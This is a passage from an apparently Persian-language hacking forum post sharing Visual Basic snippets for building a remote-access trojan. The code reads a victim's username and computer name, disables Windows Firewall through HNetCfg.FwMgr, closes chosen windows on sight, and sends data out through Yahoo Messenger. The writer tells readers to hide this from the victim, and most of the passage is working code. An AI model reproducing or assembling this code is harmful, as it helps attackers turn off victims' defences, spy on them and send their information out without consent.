End Sub

با این روال می تونید یوزر نیم کاربری که به ویندوز لاگین کرده رو بدست بیارید .

_______________________________________

Public Sub getCom()

Dim CompName As String

CompName = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultDomainName")

com.Text = CompName

End Sub

با این روال می تونید کامپیوتر نیم قربانی رو بدست بیارید.

 

_______________________________________

 

Public Sub fire()

Dim objFireWall As Object

 Set objFireWall = CreateObject("HNetCfg.FwMgr")

 Set objpolicy = objFireWall.localpolicy.currentprofile

 objpolicy.firewallenabled = False

End Sub

این روال تو اکثر پی اس ها استفاده شده ست و می تونه فایروال ویندوز رو غیر فعال کنه!

_______________________________________

Private Sub CheckW()

Dim hwnd As Long

Dim wn As String

wn = Space(255)

hwnd = GetForegroundWindow

Handle.Text = Str(hwnd)

whandle.text= hwnd

GetWindowText hwnd, wn, GetWindowTextLength(hwnd) + 1

title.Text = wn

End Sub

 

Private sub close()

Dim I as integer

For i=0 to closelist.listCount-1

If closelist.list (i)=title.text then PostMessage whandle, WM_CLOSE, 0&, 0&

Next i

End sub

این دو تا کد با هم کار می کنن.یعنی روال اولی که باید درون یک تایمر باشه، پنجره ی فعال رو تشخیص میده و هندل و عنوان اون رو تو دو تا تکست باکس می ذاره و کد دوم هم هروقت پنجره ی مخصوصی که شما اسمش رو تو Closelist  گذاشتید باز بشه، اون پنجره رو می بنده(این بستگی به شما داره که چجوری بخواهید اسامی پنجره ها رو وارد اون لیست باکس کنید.منظورم بر می گرده به قسمت چگونگی طراحی ادیت سرور).

_______________________________________

 

ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + ID + "&m=" + mess, 0&, App.Path, 0&

این همون کدی هست که باهاش می تونید توسط یاهو مسنجر مسیج برای یک آیدی خاص بفرستید (البته خیلی ابتداییه) .خب بازم این هنر شمایه که چجوری این پیام رو بفرستید که قربانی متوجه نشه. ضمنا بگم در صورتی این کد کارمی کنه که طرف با یاهو لاگین کرده باشه. وگرنه فقط یاهو باز می شه و طرف شک می کنه. همچنین باید بتونید این صفحه رو از دید قربانی مخفی نگه دارید چون همه چی واضح دیده می شه. ببینم چه میکنین!!

××××××××××××××××××××××××××××××××××

 یک کد برای ارسال pm به یاهو 8:

کد:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + Text1.Text + "&m=" + Text2.Text, 0&, App.Path, 0&
SendKeys "{enter}"
End Sub

 ***********************************

حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین:

حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین


Public Declare Function SetForegroundWindow Lib "User32" (ByVal hwnd As Long) As Long
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Public Const SND_ASYNC = &H1
Public Declare Function EnableWindow Lib "User32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "User32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long
Public Declare Function GetMenu Lib "User32" (ByVal hwnd As Long) As Long
Declare Function GetCursorPos Lib "User32" (lpPoint As POINTAPI) As Long
Public Declare Function GetMenuItemID Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function GetMenuString Lib "User32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Public Declare Function GetSubMenu Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function GetWindow Lib "User32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function PostMessage Lib "User32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function SendMessageLong& Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SendMessageByString Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function ShowWindow Lib "User32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Const BM_SETCHECK = &HF1
Public Const BM_GETCHECK = &HF0
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Function Escape Lib "gdi32" (ByVal hdc As Long, _
     ByVal nEscape As Long, ByVal nCount As Long, lpInData As Any, _
     lpOutData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, _
     ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, _
     ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
     ByVal ySrc As Long, ByVal nSrcWidth As Long, _
     ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
     ByVal hObject As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" _
     (ByVal hdc As Long) As Long
    Private Declare Function SwapMouseButton& Lib "User32" _
(ByVal bSwap As Long)
Private Declare Function ShowCursor& Lib "User32" _
(ByVal bShow As Long)
    Private Const WM_SYSCOMMAND = &H112&
    Private Const SC_MONITORPOWER = &HF170&
    Dim mousehide As Boolean
    Dim fliphorizontal As Boolean, flipvertical As Boolean, thechange  'declare the variables
    Dim hIn As Integer
    Dim Sending As Boolean, Sending2 As Boolean, stopit As Boolean
Public Const EWX_FORCE = 4
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1

Public Const CB_GETCOUNT = &H146
Public Const CB_GETLBTEXT = &H148
Public Const CB_SETCURSEL = &H14E

Public Const GW_HWNDFIRST = 0
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5

Public Const LB_GETCOUNT = &H18B
Public Const LB_GETTEXT = &H189
Public Const LB_SETCURSEL = &H186

Public Const SW_HIDE = 0
Public Const SW_MAXIMIZE = 3
Public Const SW_MINIMIZE = 6
Public Const SW_NORMAL = 1
Public Const SW_SHOW = 5

Public Const VK_SPACE = &H20

Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_MOVE = &HF012
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_SETTEXT = &HC
Public LastPoint As POINTAPI

Public lngTPPY As Long
Public lngTPPX As Long

Type POINTAPI
        X As Long
        Y As Long
End Type

Sub SendPM(Who As String, Text As String)
'oz RoOzY
'Ex. : call SendPM("ngsp_public_msg","salam")

Dim imclass As Long, editx As Long
imclass = FindWindow("imclass", vbNullString)
editx = FindWindowEx(imclass, 0&, "edit", vbNullString)
Call SendMessageByString(editx, WM_SETTEXT, 0&, Who)
ChatSend (Text)
End Sub
Sub ChatSend(TheText)
Dim imclass As Long
Dim richedit As Long
Dim Button As Long
imclass& = FindWindow("IMClass", vbNullString)
richedit& = FindWindowEx(imclass&, 0&, "RICHEDIT", vbNullString)
Call SendMessageByString(richedit&, WM_SETTEXT, 0&, TheText)
Button& = FindWindowEx(imclass&, 0&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Call SendMessageLong(Button&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessageLong(Button&, WM_KEYUP, VK_SPACE, 0&)
End Sub
موفق باشی